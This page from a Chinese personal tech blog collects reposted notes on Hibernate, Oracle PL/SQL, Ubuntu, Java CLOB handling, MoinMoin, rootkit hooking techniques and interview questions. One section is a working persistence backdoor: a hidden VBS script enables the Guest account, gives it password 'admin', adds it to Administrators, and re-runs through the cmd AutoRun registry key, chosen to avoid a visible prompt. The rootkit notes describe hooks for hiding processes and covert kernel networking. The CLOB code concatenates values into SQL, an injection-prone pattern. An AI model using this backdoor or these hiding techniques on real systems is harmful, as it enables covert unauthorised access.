|
|
用户名:kevinz26 笔名:kevin 地区: 北京-中科院 行业:其他 |
| 日 | 一 | 二 | 三 | 四 | 五 | 六 |
今天配hibernate的2个小问题
1. hibernate.cfg.xml Not Found
这个问题需要注意的就是hibernate.cfg.xml的位置,一般放在src目录下,不要放在src\XXX下
而entityBean.hbm.xml要与映射的class:entityBean.class放在一起。
比如:
src下存放源文件:org.example.entityBean;
那么src目录下放hibernate.cfg.xml ;
src\org\example下放entityBean.hbm.xml;
2. Can't start a cloned connection while in manual transaction mode
sql server:默认的是direct模式下,需要将模式改为cursor
所以在hibernate.cfg.xml里面更改 connection string:
jdbc:microsoft:sqlserver://localhost:1433;DatabaseName=loushang_test;SelectMethod=Cursor
加上这个就ok了。
还有几点记下备忘:
1 . 在spring中使用transationtemplate时的配置:记得在构建路径里面加上hibernate的库.我的问题是
用hibernate3.jar不行,用hibernate2.jar就可以.注意版本.一般最好将库同时拷进lib文件夹中.
2. 在数据库中定义的字段比如flag , char 5.那么用getTransactionTemplate.load(XX.class,"1");//比如1是flag所在表的主键值.那么在对象XX.getFlag()得到的string的长度是固定的5.
情况:后来将char 5 改成 varchar 50. 得到的长度还是 5...不知为什么.缓存的原因?
oracle 存储过程的基本语法及注意问题(ZZ)
END 存储过程名字
2.SELECT INTO STATEMENT
将select查询的结果存入到变量中,可以同时将多个列存储多个变量中,必须有一条
记录,否则抛出异常(如果没有记录抛出NO_DATA_FOUND)
例子:
BEGIN
SELECT col1,col2 into 变量1,变量2 FROM typestruct where xxx;
EXCEPTION
WHEN NO_DATA_FOUND THEN
xxxx;
END;
...
3.IF 判断
IF V_TEST=1 THEN
BEGIN
do something
END;
END IF;
4.while 循环
WHILE V_TEST=1 LOOP
BEGIN
XXXX
END;
END LOOP;
5.变量赋值
V_TEST := 123;
6.用for in 使用cursor
...
IS
CURSOR cur IS SELECT * FROM xxx;
BEGIN
FOR cur_result in cur LOOP
BEGIN
V_SUM :=cur_result.列名1+cur_result.列名2
END;
END LOOP;
END;
7.带参数的cursor
CURSOR C_USER(C_ID NUMBER) IS SELECT NAME FROM USER WHERE TYPEID=C_ID;
OPEN C_USER(变量值);
LOOP
FETCH C_USER INTO V_NAME;
EXIT FETCH C_USER%NOTFOUND;
do something
END LOOP;
CLOSE C_USER;
8.用pl/sql developer debug
连接数据库后建立一个Test WINDOW
在窗口输入调用SP的代码,F9开始debug,CTRL+N单步调试
select a.appname from appinfo a;-- 正确
select a.appname from appinfo as a;-- 错误
select af.keynode into kn from APPFOUNDATION af where af.appid=aid and af.foundationid=fid;-- 有into,正确编译
select af.keynode from APPFOUNDATION af where af.appid=aid and af.foundationid=fid;-- 没有into,编译报错,提示:Compilation
Error: PLS-00428: an INTO clause is expected in this SELECT statement

select keynode into kn from APPFOUNDATION where appid=aid and foundationid=fid;-- 正确运行
select af.keynode into kn from APPFOUNDATION af where af.appid=appid and af.foundationid=foundationid;-- 运行阶段报错,提示
ORA-01422:exact fetch returns more than requested number of rows
create table A(
id varchar2(50) primary key not null,
vcount number(8) not null,
bid varchar2(50) not null -- 外键
);
select sum(vcount) into fcount from A where bid='xxxxxx';
if fcount is null then
fcount:=0;
end if;
this.pnumberManager.getHibernateTemplate().execute(
new HibernateCallback() ...{
public Object doInHibernate(Session session)
&nbp; throws HibernateException, SQLException ...{
CallableStatement cs = session
.connection()
.prepareCall("{call modifyapppnumber_remain(?)}");
cs.setString(1, foundationid);
cs.execute();
return null;
}
});
在ubuntu下禁用synaptics
sudo apt-get install qsynaptics
2.修改.conf
sudo gedit /etc/X11/xorg.conf
在
Section "InputDevice"
Identifier "Configured Mouse"
Driver "mouse"
Option "CorePointer"
Option "Device" "/dev/input/mice"
Option "Protocol" "ExplorerPS/2"
Option "ZAxisMapping" "4 5"
Option "Emulate3Buttons" "true"
EndSection
之后添加如下内容:
Section "InputDevice"接下来,向下寻找如下内容:
Section "ServerLayout"在"Configured Mouse"之后添加:
InputDevice "Synaptics Touchpad"
ubuntu之旅
clob转string in java
前段时间做信息发布系统的时候,遇到了clob转string 的问题,在网上搜到一个解决办法。贴在下面
/**
*
*读数据库中clob字段的内容
*@return clob字段值
*
* */
public String read(){
String rtn = null;
PreparedStatement pstmt=null;
ResultSet rs=null;
try {
String sql = "select " + fieldName + " from " + tableName + " where " + primaryKey + "=" + primaryValue;
pstmt = conn.prepareStatement(sql);
&bsp; rs = pstmt.executeQuery();
java.sql.Clob clob = null;
if (rs.next()) {
clob = rs.getClob(fieldName);
// InputStream input = clob.getAsciiStream();
// int len = (int)clob.length();
// byte[] by = new byte[len];
// int i ;
// while(-1 != (i = input.read(by, 0, by.length))) {
// input.read(by, 0, i);
// }
// rtn = new String(by);
rtn=clob.getSubString((long)1,(int)clob.length());
}
}catch (Exception ee) {
ee.printStackTrace();
rtn="";
}finally{
try {
rs.close();
rs=null;
pstmt.close();
pstmt=null;
} catch (SQLException ex) {
}
}
return rtn;
}
/**
*
*写数据库中clob字段的内容
*
* */
public String write(){
String sql = "update " + tableName + " set " + fieldName + "=empty_clob() where " + primaryKey + "=" + primaryValue;
PreparedStatement pstmt=null;
Statement st=null;
ResultSet rs=null;
try{
conn.setAutoCommit(false);
pstmt = conn.prepareStatement(sql);
pstmt.executeUpdate();
sql = "select " + fieldName + " from " + tableName + " where " + primaryKey + "=" + primaryValue;
st = conn.createStatement();
rs = st.executeQuery(sql);
java.sql.Clob clob;
if (rs.next()) {
clob = ((oracle.jdbc.OracleResultSet) rs).getClob(fieldName);
oracle.sql.CLOB my_clob = (oracle.sql.CLOB) clob;
// OutputStream writer = my_clob.getAsciiOutputStream();
// byte[] contentStr = this.getContent().getBytes();
// writer.write(contentStr);
java.io.Writer writer = my_clob.getCharacterOutputStream();
writer.write(this.getContent());
writer.flush();
writer.close();
}
//conn.rollback(); //事务处理机制
conn.commit();
conn.setAutoCommit(true);
}catch(Exception e){
e.printStackTrace();
}finally{
try{
rs.close();
rs = null;
st.close();
st = null;
pstmt.close();
pstmt = null;
}catch(Exception xxx){
}
}
  return Constant.PROCESS_OK;
}
private String getContent() {
return this.clobValue;
}
public void setClobValue(String clobValue) {
this.clobValue = clobValue;
}
bleak....
这里杂草丛生....
快成haunted place了``
51跑到沙漠玩了一圈, 差点步彭加木的后尘,幸亏水带够了,否则就要成干尸了
今天在taobao买的书到了,嗯,该收心好好把这本书攻克下来``
为下半年的面试打基础. 抓紧学习,hold on~
从一个笑话看软件开发管理 (ZZ FROM 猛禽)
关于软件开发的笑话有很多,下面这个是我刚在QQ群里的看到的:
1. 程序员写出自认为没有Bug的代码。
2. 软件测试,发现了20个Bug。
3. 程序员修改了10个Bug,并告诉测试组另外10个不是Bug。
4. 测试组发现其中5个改动根本无法工作,同时又发现了15个新Bug。
5. 重复3次步骤3和步骤4。
6. 鉴于市场方面的压力,为了配合当初制定的过分乐观的发布时间表,产品终于上市了。
7. 用户发现了137个新Bug。
8. 已经领了项目奖金的程序员不知跑到哪里去了。
9. 新组建的项目组修正了差不多全部137个Bug,但又发现了456个新Bug。
10. 最初那个程序员从斐济给饱受拖欠工资之苦的测试组寄来了一张明信片。整个测试组集体辞职。
11. 公司被竞争对手恶意收购。收购时,软件的最终版本包含783个Bug。
12. 新CEO走马上任。公司雇了一名新程序员重写该软件。
13. 程序员写出自认为没有Bug的代码。
要我说,如果真有这样的公司,不倒闭对不起人民。
这个笑话从程序员开始,到程序员结束,从头到尾都在说程序员的不是。但是我要说的是,这完全是管理者的失败,从整个过程中,看不到任何管理工作。这种管理者不但无知无能,还很无耻——将自己的失败责任推给程序员。
1、程序员凭什么证明他的代码没有BUG?有Test case吗?有Code review吗?这个环节管理缺失。
2、测试发现BUG有进行BUG管理吗?有跟踪吗?这个环节管理缺失。
3、凭什么证明程序员已经把那10个BUG修改好了?另10个又为什么不是BUG?BUG的评价标准难道是程序员说了算?这个环节管理缺失。
4、5个不能工作的BUG修改问题有没有追究责任?增加新BUG是修改过程中不可避免的事情,但是如果有有效的单元测试机制,可以大大减少这种情况。这个环节管理缺失。
5、迭代是正常的,但是问题处理于发散而不是收敛发展,可见没有有效的管理调控。这个环节管理缺失。
6、过于乐观的时间表和不可能达到的最后期限,都表现出管理者的无知和无能。而在这样的情况下强行推出产品,那就是无知者无畏了。
7、这是对用户的不负责任,管理者要负最大的责任。
8、这样的情况还能发项目奖金,只能说管理者不是一般的愚蠢。
9、管理工作没有任何的改进,问题仍然处于发散迭代状态。管理工作依然没有到位。
10、拖欠测试部门工资体现出管理者对质量管理工作的忽视以及对人力资源管理方面一无所知。
11、送被收购者两个字:活该。送收购者两个字:瞎眼。
12、可见新管理者与原管理者半斤八两,都没有认识到问题的根本所在。不过也只有这样的管理者才会作出收购这种公司的决策。
13、历史的重演是必然的。
一个正常的企业或是项目,其运作必须应该是循环向上进行的。而保障这种运行的工作就是管理。而管理工作的主要内容就是控制,包括控制循环的节奏——不能太快也不能太慢,控制发展的方向——只能向上不能向下,控制运作的稳定——不能大起大落或时聚时散等。
而这一切,在这个例子中都看不到。
在 这个笑话的例子中,一切都是以开发工作在驱动,这首先就是一个方向性错误,产品是为用户服务的,当然应该是以用户和市场作为驱动,并且结合自身的能力最终 确定工作的重点。这一错误折射出管理者对被管理的内容很不了解,只好任由比较了解的程序员摆布——事实上他们除了技术,并不会了解更多。
一个管理者如果对自己所管理的内容不了解,他就不可能管理得好。
这是一件毫无疑问的事,可是国内的软件业似乎总是不相信这一点。中国软件业中流毒最深的谎言之一就是:
管理者只要懂管理就可以,不需要懂技术。
其实这不过是那些无知无能无耻的管理者为了骗钱而编出来的,相信这句话的人必将付出金钱的代价。
其 次是质量管理。基本的质量管理常识告诉我们,每次循环结束前,最重的工作就是总结改进。只有这样才能保证循环运作是向上发展,而不是失去控制地向下发展。 也只有有效的质量管理,才能保证迭代过程是收敛发展,并最终达到目标。但在这个例子中,这个部分显然是缺失的——其中虽然有测试部门,但是他们的作用仅仅 是质量管理中的质量检测环节,管理部分还是缺失的。
然后是人力资源管理。软件开发是一项劳动密集型的工作,虽然这是脑力劳动,但同样意味着人在因素在其中占有决定性的地位。而例子中未改完BUG的程 序员拿到项目奖金,而同样辛苦工作的测试人员却被拖欠薪资,除了表现出管理者对他们的工作内容的不了解,以及对质量管理工作的不重视以外,还表现出管理者 完全不会管人,这是一种谋杀团队的行为——谋杀一个团队远比建设要容易得多。
最后,这个失败的管理者把他的经历编成这个笑话,让大家看到他被程序员们害得多惨,把程序员妖魔化为一群骗子。但只要稍懂管理的人简单分析一下就可以看出来,只不过是这个人的无知和无能造成了他现在的结果,而把责任推给别人的行为更是表现出他的无耻。
作为身居高位的管理者,如果连应该承担的责任都要推卸,他们还能胜任什么事情呢?
不死帐号的制作 (ZZ)
不死帐号的制作
先建立一个VBS文件内容如下:
dim wsh
set wsh=CreateObject("WScript.Shell")
wsh.run "net user guest /active:yes",0
wsh.run "net user guest admin",0
wsh.run "net localgroup administrators guest /add",0
上面一段VBS的意思就是激活GUEST帐号,并且加为高级管理组,设置密码为admin
那为什么不用那个BAT,继续往下看变知,再找到注册表中下面的键:
HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor\AutoRun
和/或
HKEY_CURRENT_USER\Software\Microsoft\Command Processor\AutoRun
在AutoRun键内输入VBS的路径!如:d:/ao/fj126.net/id.vbs
先看看这两个位置的介绍:
如果 /D 未在命令行上被指定,当 CMD.EXE 运行时,它会自动寻找以下 REG_SZ/REG_EXPAND_SZ 注册表变量。如果其中一个或两个都存在,这两个变量会先予执行。
也就是说,只要启动了CMD就会运行上述的脚本,可以说成是CMD关联吧。
接着进入注册表,找到上面的位置
OK了,我们来实验一下
我们再打开CMD开一下
怎么样,又激活了吧,如果不用VBS而改用BAT会出现什么后果呢?
如果用dat的话,打开cmd的时候,会弹出提示框问:是否打开id.dat。这样也就暴露了~
所以不能用dat
知道为什么不用BAT了吧,完
moinmoin(ZZ)
维基(Wiki)这个词是WikiWikiWeb的缩写。维基是一组页面的集合,可以通过网络浏览器进行合作编辑。任何人都可以按照他们的意愿开放和自由的进行编辑。系统自动创建各页面之间的交叉引用超链接。更多信息请看WikiWikiWeb。
MoinMoin是用python编写的维基程序。
不论你如何使用它,它都有用处。与论坛和邮件列表相比,维基允许创建内容。维基具有更少的干扰和更多的信息。信息是结构化的,而且容易寻找。你可以在因特网上建立一个具有很多页面的维基,包括各种项目,构架,观点,等等,供人们评论。一些页面仅仅用于传递信息。其他页面则是用于讨论和评论。你也可以建立极其简单的技巧数据库类型的维基。
总之,维基是一种非常自由的工具,它的价值在于用户使用它的方法。例如,维基中的页面同样可以用于讨论。你也可以在项目中使用维集页面进行合作分工。
请看MoinMoinSuccessStories, 那里有更多的成功案例。
这有一些维基最重要的特点:
这是一个很重要的问题。一般来说,维基是没有安全性的。(That's right!)
对于MoinMoin,自从引入Access Control Lists机制之后,这一点已经有所变化,请看帮助-访问权限控制表。
但是,假如你没有使用ACLS,那么意外或有意的破坏当前页面修订版的可能是存在的。
使维基失去价值的方式主要有两种。 一种是删除,另一种是破坏。对于删除行为不太困难,因为每一个页面都有更改记录(和相应的备份),可以很容易的恢复。因此,当检查到页面被删除或者主要内容被删除时,页面可以很容易的从它们之前某个优良的状态恢复回来。
有意的破坏比较难以处理。有人可能在页面内输入不正确的信息,或者有意将页面中的信息更改成错误的(比如,有人改变页面,使它看起来像是另外一个人写下特别的评论,或者有人改变某一段的内容,使它的含义有了很大的不同)。任何协作系统都存在这样的问题。实际上,破坏维基的事情极少发生,而且新材料提交的同时可以向某个特定的人发出提醒,这样就可以进行处理了。
换句话说,维基的哲学是人工处理(也就是SoftSecurity)罕见的破坏事件,而不是设计并过度使用那些防止某个破坏者的破坏活动的功能。
因为MoinMoin是用Python写的 (可能这个理由并不太充分,但最终还是归结到这一点)。
MoinMoin支持访问选择控制列表
MoinMoin容易扩展
"MediaWiki主要用于Wikipedia和Wikimedia的其他项目 (以及由个人在他们自己的服务器上运行的其他类似的大规模站点), 其次人们运行当地的实例用于处理来自我们站点的数据, 及其其他一些附带的使用." Brion Vibber, Media`Wiki开发者
现在有几种方法来搜索和/或浏览维基:
使用搜索框或者查找网页 FindPage,在那里你可以通过标题中的关键词,全文,一般文字或者通配符(正则表达式)来搜索。
点击标题索引。它会按照字母排序显示所有页面的标题类标。
点击词汇索引。它会按照字母排序显示每一个标题中的每一个单词的列表 (比如,页面BlueTooth列出来的结果是 B / Blue 以及 T / Tooth)。
使用 LikePages 操作。它会显示那些标题单词与当前页面标题单词类似的页面。
点击任何页面上方的最新改动链接。
登录之后,选择90天之前。这够不够?
所有混合大小写的名字,如果没有相应的页面,就会显示为不同颜色的链接。
如果你看到一些内容后,想对它评论,增加,或者更改,只需要点击 EditText 链接, 或者点击页面顶部的 图标。页面会被带入浏览器的文字编辑框中,你只需进行更改就可以。维基格式器会对你输入的文字进行处理。如果想要漂亮的结果,你可以完成HTML可以完成的大部分排版。请到帮助-排版页面察看一些提示和例子。
没有多少约定。它有助于保证特定类型的信息按照一致的方式进行格式化。一个可以帮助保持一致性的重要约定是使用“模板”页面。
本维基有一个称为“模板”的功能,当你创建新页面时会显示出来。如果你点击其中一个,那么这个页面将具有于其他相同类型页面类似的结构。例如,创建自己的维基主页时,你应该使用HomepageTemplate页面(当创建新页面时你能看到它)。
如果内容已经存在于某个网站上,那么那需在维基页面上增加一个链接。按照下面的步骤来做:
编辑维基页面 (前往维基页面,点击编辑链接),
维基会从你输入的文字自动生成超链接。
你可以在方括号中为链接增加修饰文字,这样可以使链接看起来更漂亮。 修饰文字会显示在页面上,但是链接指向输入的URL。这有一个例子:
[http://your.domain.example/foo.html This will be the link text]
生成:
使用 { { { 和 } } } 包住你的预格式化的文字,形成与格式化的段落。
你可以在页面上增加图像的链接。例子:
http://c2.com/sig/inter/wikibase.gif
生成:
当你创建空白页面时,所有模板会自动以列表形式显示出来。任何标题以"Template"结尾的页面(请看page_template_regex)都会自动在列表中显示。因此,如果你希望某一类网页具有类似的格式(类似的标题,组织等),你可以定义一个名字以Template结尾的页面(这就是模板了),当创建那一个类型的页面时,选择这个模板,再编辑就可以。维基会把自动填充初始的内容。模板和其他页面一样都是可以编辑的维基页面。
要创建一个模板,只需创建名字为 <something>Template 的页面即可。
如果MoinMoin运行在局域网上,那么给局域网内的共享文档添加一个链接有时会就很有必要,例如:
[file://///servername/sharename/full/path/to/file/filename.txt Click here to read filename.txt]
你也可以链接到文件名带有空格的文件,需要手工增加空格的URL编码 (%20):
[file://///servername/sharename/full/path/to/file/filename%20with%20spaces.txt Click here to read filename with spaces.txt]
更多相关的重要信息请看FileLinks.
另一个可能更好的方法是使用 AttachFile 操作。
如果这些更改很重要,或者你希望别人知道是你作的这些更改,那么就签下自己的名字。只需要在你的评论之后加上 @SIG@ 。通常应该把你的评论写在被评论对象的后面,并加上缩进。还有,把你的评论标记成斜体有助于把评论内容与被评论对象分隔开。
但是,有时候悄悄的进行更改才是比较合适的。比如,纠正拼写和格式的错误或者做一些细微的更改,这些都不需要签名。
有必要的话,你可以恢复改动的内容。请看WhyWikiWorks.
只有安装了 不安全的 HTML扩展 (HTML宏和分析插件) 以后,下面的内容才能起作用。
如果你想增加一行HTML,可以使用HTML宏。把你的HTML文字作为参数传给HTML宏, 就象这样:
[[HTML(<font size=+12>This is large font</font>)]]
在页面上会显示: [[HTML(<font size=+12>This is large font</font>)]]
也可以将HTML文档放在一个页面内,只需在这页的第一行加入 #format html 。如果有了这一行,那么整个页面就会被解释成HTML (这样的话,链接到其他页面会变得比较困难!) 确认你增加的内容仅仅包括body部分 (不是 HTML headers 或者其他任何超出body的部分,包括 <BODY> tag本身)。
http://moin.sourceforge.net/ 会解释成 http://moin.sourceforge.net
moin sourceforge page 会解释成 moin sourceforge page
请在帮助-系统管理察看更详细信息。
只有登录之后(通过用户设置),才能删除或者重命名页面。
在wikiconfig.py中设置 page_front_page = u'OtherFrontPage'。请看帮助-语言。
帮助-系统设置包含更多可调整的变量。
在系统信息页面上有很多管理信息,包括网页的数目,以及安装的宏和操作方法。
I usually set up an "AdminPage", where I put macros for these, as well as information about the real physical location of the pages, and macros for orphan pages or other things an adminstrator for the wiki might want to look at.
最好的方式是 (1.5.2版以上支持) 作为SuperUser,to switch to the user that should be deleted from UserPreferences, 选择 "Disable this account forever" 然后点击"Save"。
点击 信息 (或者 "i"图标)。
点击你希望恢复版本上的 恢复旧版 链接。
你必须登录才能恢复网页。
如想帮助开发,你可以这样做:
如果你不了解Python,那么开始学习它吧 BeginnersGuide
如果你不是编程人员,还是想做点什么,你可以这样做:
MoinDev/ThemeDevelopment - 开发 CSS 主题和相应的 (X)HTML 结构。
MoinDev/Translation - 把界面和帮助页面翻译成自己的语言。
如果你认为自己已经发现了一个错误或者遇到问题,你可以做一些测试。真正的bugs一般会显示出一个错误页面。你可以保存这个页面,到MoinMoinBugs 搜索一下是否有看起来类似的页面,如果没有的话,创建一个新的bug页面,将错误信息附加在上面。
你可以在标准的URL后面附加 ?action=test 进行测试。这样可以得到一个称为"MoinMoin Diagnosis"的页面,它给出了很多信息。大部分信息只对开发者有用处,但是如果你就是其中一员或者是Python geek 你会发现这些信息很有用处。
如果本页上没有你的问题的答案,请看MoinMoinQuestions.
vxk的rootkit 技术小结 (ZZ)
by vxk
My Root Kit Note
0. What the Root kit Real Mean For?
Root Kit is a kind of tools to hide itself or other files or process from normal users' eyes or take privileges for whom could control it...
1. Live With Hooks: Hook and Anti-Hook
To Hide Some Files or Process or Even Rebuild a Root kit’s Network may use hooking.
1.1 API HOOK
It's a long time this kind of hooking existed working with IAT or EAT or some time maybe inline. But it is very easy to defeat them, only to read and map a file in correct way then do right relocations, And then you would get real API address or the right code of API’s entry point.
1.2 SSDT HOOK
Sometimes when the API hook (base on pe-file structure) failed to defeat the hook-check, and some apiz wanted is non-exported, I got to SSDT way to hook, it is also a very long time since it turned to normal. And it is easy to find and fix too. One who can only read ntos kernel file and remap the SSDT could remove or check this kind of hooks.
1.3 IRP HOOK
PDriverObject->MajorFunction [MajorFunction] =XX XX XX XX ZZ=MajorFunction*4+0x38 C7 46ZZ [<80] XX XX XX XX mov dword ptr [esi+50h], offset _FsdSetInformation@8 C7 86 ZZ[>=80] XX XX XX XX C7 43 ZZ [<80] XX XX XX XX mov dword ptr [ebx+50h], offset _FsdSetInformation@8 C7 83 ZZ[>=80] XX XX XX XX
1.4 Interrupt Hook
For an example, a key logger root kit hook keyboard interrupts. Many powerful root kits to make themselves more useful use interrupts hook. It is hard to find out an interrupt hook on the range out of KiTrapXX's range (910920 put a way to read KiTrapXX’s Address from file...), and also hard to recover. But there is a will there is a way... (I do not know how to get a real address of an ISR which is not set by ntos kernel. But keyboard driver can tell me the real keyboard interrupt, it is hardcode searching...not good way)
1.5 NDIS Open Block Hook
A powerful root kit must support network in kernel mode. For this target, it may use TDI or NDIS,but TDI is easy to find or be defeated by anti-spy, so NDIS may be a good choice. Some root kit use IpFltDrv to reuse sock and do its own network,however, it is not nice ,many anti-spy can find the IpFltDrv changing, and IpFltDrv can only register one, it would be registered by others. As far as I see, the root kit uty_rk@winXp use protocols open block hooks to own the network. But actually it would crash when it were running with some anti-spy. So there is another way on Miniport layer,it is to hook NDISWAN Miniport Open Block, but there is a problem in how to get the list of NDIS miniport , see the NDIS IM Driver register course ,we know NdisIMRegisterLayeredMiniport can return a verb which is the a pointer to the list. And we can just register a fake IM to get the list pointer and then we could hook them just like hook protocol open blocks. To find this kind of hook must using hardcode search to find some VA from ndis.sys and tcpip.sys and ndiswan.sys.
1.6 Non-exported Inline Hook
Anti-spy may use inline hook to hook some important non-exported kernel mode calls and makes root kit difficult to do its work. And root kit can also use inline hook to bypass some checks. To find or recover an inline hook must use remap files and redo relocations, then compare the mappings and memory just like SVV. The recover of an inline hook might turn to a BSOD in the end.
2. Kernel Network: TDI and NDIS,Blue or Goal
Every useful root kit must support networking with kernel socket.
2.1 TDI
Most of free versions of root kit are using TDI Client Technology to make a kernel socket. But with the time changing, it is not useful today.
2.2 NDIS
hug_ntrootkit4.0@winNt/2k used registering NDIS Protocol to do its networking; uty_rk@winXp used NDIS Protocol Open Block Hooks to do the same thing. EVA_rk@winNt (no public version) used NDIS Miniport Open Block Hooks, and iceberg wrote a full-version tcp sock based on
3. KDOM: Fast to Die or
Fu_rk@winNT brings a new way to hide process and get privileges and do some things only by modifying some structures in system memory.
Every coin has two faces, KDOM can do nearly every things but the target which will be modified is hard to get the right positions. And hardcode the offset or address may cause the system crashed. To find the KDOM modified is easy, only to use another link list or another database head…
4. Final
I am Chinese, and my English is very poor.
Contact me:
fakeping for win2k代码(zz)
浅析ICMP洪水攻击 (zz)
ACKcmd后门分析 (ZZ)
NDIS基础知识 (ZZ)
华为公司 java 面试题(号称是的zZ)
第一部分:选择题
QUESTION NO: 1
1、public class Test {
public static void changeStr(String str){
str="welcome";
}
public static void main(String[] args) {
String str="1234";
changeStr(str);
System.out.println(str);
}
}
Please write the output result :
QUESTION NO:2
1. public class Test {
2. static boolean foo(char c) {
3. System.out.print(c);
4. return true;
5. }
6. public static void main( String[] argv ) {
7. int i =0;
8. for ( foo('A'); foo('B')&&(i<2); foo('C')){
9. i++ ;
10. foo('D');
12. }
13. }
14. }
What is the result?
A. ABDCBDCB
B. ABCDABCD
C. Compilation fails.
D. An exception is thrown at runtime.
QUESTION NO: 3
1. class A {
2. protected int method1(int a, int b) { return 0; }
3. }
Which two are valid in a class that extends class A? (Chooe two)
A. public int method1(int a, int b) { return 0; }
B. private int method1(int a, int b) { return 0; }
C. private int method1(int a, long b) { return 0; }
D. public short method1(int a, int b) { return 0; }
E. static protected int method1(int a, int b) { return 0; }
QUESTION NO: 4
1. public class Outer{
2. public void someOuterMethod() {
3. // Line 3
4. }
5. public class Inner{}
6. public static void main( String[]argv ) {
7. Outer o = new Outer();
8. // Line 8
9. }
10. }
Which instantiates an instance of Inner?
A. new Inner(); // At line 3
B. new Inner(); // At line 8
C. new o.Inner(); // At line 8
D. new Outer.Inner(); // At line 8//new Outer().new Inner()
QUESTION NO: 5
Which method is used by a servlet to place its session ID in a URL that is written to the servlet’s response output stream?
A. The encodeURL method of the HttpServletRequest interface.
B. The encodeURL method of the HttpServletResponse interface.
C. The rewriteURL method of the HttpServletRequest interface.
D. The rewriteURL method of the HttpServletResponse interface.
QUESTION NO: 6
Which two are equivalent? (Choose two)
A. <%= YoshiBean.size%>
B. <%= YoshiBean.getSize()%>
C. <%= YoshiBean.getProperty("size")%>
D. <jsp:getProperty id="YoshiBean" param="size"/>
E. <jsp:getProperty name="YoshiBean" param="size"/>
F. <jsp:getProperty id="YoshiBean" property="size"/>
G. <jsp:getProperty name="YoshiBean" property="size"/>
QUESTION NO: 7
Which of the following statements regarding the lifecycle of a session bean are correct?
1. java.lang.IllegalStateException is thrown if SessionContext.getEJBObject() is invoked when a stateful session bean instance is passivated.
2. SessionContext.getRollbackOnly() does not throw an exception when a session bean with bean-managed transaction demarcation is activated.
3. An exception is not thrown when SessionContext.getUserTransaction() is called in the afterBegin method of a bean with container-managed transactions.
4. JNDI access to java:comp/env is permitted in all the SessionSynchronization methods of a stateful session bean with container-managed transaction demarcation.
5. Accessing resource managers in the SessionSynchronization.afterBegin method of a stateful session bean with bean-managed transaction does not throw an exception.
第二部分:概念题
1. 描述Struts体系结构?对应各个部分的开发工作主要包括哪些?
2. XML包括哪些解释技术,区别是什么?
3. JSP有哪些内置对象和动作?它们的作用分别是什么?
4、SQL问答题
SELECT * FROM TABLE
和
SELECT * FROM TABLE
WHERE NAME LIKE '%%' AND ADDR LIKE '%%'
AND (1_ADDR LIKE '%%' OR 2_ADDR LIKE '%%'
OR 3_ADDR LIKE '%%' OR 4_ADDR LIKE '%%' )
的检索结果为何不同?
5、SQL问答题
表结构:
1、 表名:g_cardapply
字段(字段名/类型/长度):
g_applyno varchar 8;//申请单号(关键字)
g_applydate bigint 8;//申请日期
g_state varchar 2;//申请状态
2、 表名:g_cardapplydetail
字段(字段名/类型/长度):
g_applyno varchar 8;//申请单号(关键字)
g_name varchar 30;//申请人姓名
g_idcard varchar 18;//申请人身份证号
g_state varchar 2;//申请状态
其中,两个表的关联字段为申请单号。
题目:
1、 查询身份证号码为440401430103082的申请日期
2、 查询同一个身份证号码有两条以上记录的身份证号码及记录个数
3、 将身份证号码为440401430103082的记录在两个表中的申请状态均改为07
4、 删除g_cardapplydetail表中所有姓李的记录